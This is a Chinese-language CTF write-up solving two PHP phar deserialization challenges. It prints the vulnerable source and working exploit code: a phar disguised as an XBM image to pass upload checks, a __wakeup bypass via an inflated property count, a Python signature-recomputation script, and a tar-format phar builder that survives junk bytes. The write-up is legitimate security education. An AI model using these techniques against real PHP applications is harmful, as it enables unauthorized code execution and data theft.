两道phar题目
源码
<?php class NSS{ public $pass=false; public function __destruct(){ if($this->pass===true){ echo getenv("FLAG"); }else{ echo "no permission"; } } public function __wakeup(){ $this->pass = false; } } session_start(); if(isset($_GET['filename'])){ echo file_get_contents($_GET['filename']); } else if(isset($_FILES['file']['name'])){ $whtie_list = array("jpg"); $ext = explode(".",$_FILES["file"]["name"]); $ext = end($ext); if(in_array($ext,$whtie_list)){ $img_info = @getimagesize($_FILES["file"]["tmp_name"]); if($img_info){ if($img_info[0]<=20 && $img_info[1]<=20){ if(!is_dir("upload/".session_id()."/")){ mkdir("upload/".session_id()."/"); } $content = file_get_contents($_FILES["file"]["tmp_name"]); if(preg_match("/php/i",$content)){ die("hacker!!!"); }else{ move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".session_id()."/".$_FILES["file"]["name"]); echo "upload success!! upload/your_sessionid/your_filename"; } }else{ die("image hight and width must less than 20"); } }else{ die("invalid file head"); } }else{ die("invalid file extension!jpg only!!"); } }else{ echo "wellcome!<br>"; }
?>
|
一个文件上传题目,很明显就是phar反序列化了,需要注意的几个点吧
- getimagesize 控制宽高
- 内容不允许php
- __wakeup()绕过
- phar文件的签名计算
绕过
getimagesize
题目要求控制宽和高,也就是数组的前两个,上传的文件有这两个就行了
#define xlogo_width 20 #define xlogo_height 20
|
php字段
网上的生成phar文件的脚本都是
$phar = new Phar('test.phar',0,'test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a); $phar->addFromString('text.txt','test'); $phar->stopBuffering();
|
实际上,跟踪php源码之后发现格式是这样的 __HALT_COMPILER(); ?>
是必须的,剩下随意
xxx __HALT_COMPILER(); ?>
|
__wakeup()
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
O:6:"sercet":1: 也就是输入比1大的值就行 如O:6:"sercet":2:
|
签名计算
在生成phar文件时,会对文件进行签名计算,如果对文件内容进行更改(比如这题,需要更改属性个数),那么签名就会错误会显示

所以需要重新计算签名
from hashlib import sha1
file = open("test.phar","rb").read() text = file[:-28] last = file[-8:] new_file = text+sha1(text).digest() + last open("new.jpg","wb").write(new_file)
|
解题
生成phar文件
<?php class NSS{ public $pass=false; public function __construct(){ $this->pass = true; } } $a = new NSS(); echo serialize($a);
$phar = new Phar('test.phar',0,'test.phar'); $phar->startBuffering(); $phar->setStub('#define xlogo_width 20'."\n".'#define xlogo_height 20'."\n".'__HALT_COMPILER(); ?>'); $phar->setMetadata($a); $phar->addFromString('text.txt','test'); $phar->stopBuffering();
|
修改phar文件的序列化字符串

运行py文件,产生重新计算签名的new.jpg,将其上传,利用查看文件处的 file_get__contents() 进行phar反序列化
phar://./upload/4kej0r03lvqb9o9n8t9pm9pm36/new.jpg
|

[NSSCTF]prize1(phar+强制GC) (wolai.com)
[NCTF2019]phar matches everything(phar反序列化) | (guokeya.github.io)
二、
源码类似于N1CTF-2021 easyphp
<?php error_reporting(0); class Logger{ private $filename; private $content; private $endContent;
function __construct($filename,$endContent){ $this->filename = $filename; $this->endContent = $endContent; }
function info($content){ !file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : ""; $content = "Type:INFO Messsage:$content"; $file = fopen($this->filename,"a"); fwrite($file,$content); fclose($file);
}
function __destruct(){ $this->info($this->endContent); } }
$time = time(); $logger = new Logger("log/info.log","Close at $time"); $fileName = $_POST['file']; $userName = $_POST["name"] ?? "nothing";
if (file_exists($fileName)){ echo "File exists"; $logger->info("$userName"); }else{ echo "File does not exist"; $logger->info("$userName"); } ?>
|
一眼phar反序列化,但是:可控内容前后都有脏字符
有三种常见情况
- zip格式:文件头尾都可以有脏字符,但phar无法解析
- phar格式:必须控制文件尾,但不需要控制文件头。PHP在解析时会在文件内查找
<?php __HALT_COMPILER(); ?>
这个标签,这个标签前面的内容可以为任意值,但后面的内容必须是phar格式,并以该文件的sha1签名与字符串GBMB
结尾。
- tar格式:必须控制文件头,即可构造合法的tar文件,即使文件尾有垃圾字符
结合题目的话,文件尾肯定是最麻烦的,既然头部字段固定,那就生成一个正常tar格式文件,加入反序列化字符串后,切割截取后段部分,写入切割后的内容,一拼接形成一个合法tar文件
直接上exp
<?php
CLASS FLAG { private $_flag="flag{aaaa}"; public function __wakeup(){ echo "FLAG: " . $this->_flag; } }
$log = 'Type:INFO Messsage:'; // 头部不可控的部分 $data_len = strlen($log);
if(!file_exists("./phar.tar")){ $phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR); $phar->startBuffering(); $o = new FLAG(); $phar->setMetadata($o); $phar->addFromString($log, "test"); $phar->stopBuffering();
file_put_contents("./phar.tar", "]\n", FILE_APPEND); }
$exp = file_get_contents("./phar.tar"); $post_exp = substr($exp, $data_len); echo rawurlencode($post_exp); //访问获取要传递的数据
//var_dump(is_dir("phar://./phar.tar")); //var_dump(is_dir("phar://./../../www/log/127.0.0.1/look_www.log"));
|
然后 file=log/info.log&name=数据 即可
Phar反序列化如何解决各种waf检测和脏数据的添加问题?
从一道题再看phar的利用
Nu1LCTF/n1ctf-2021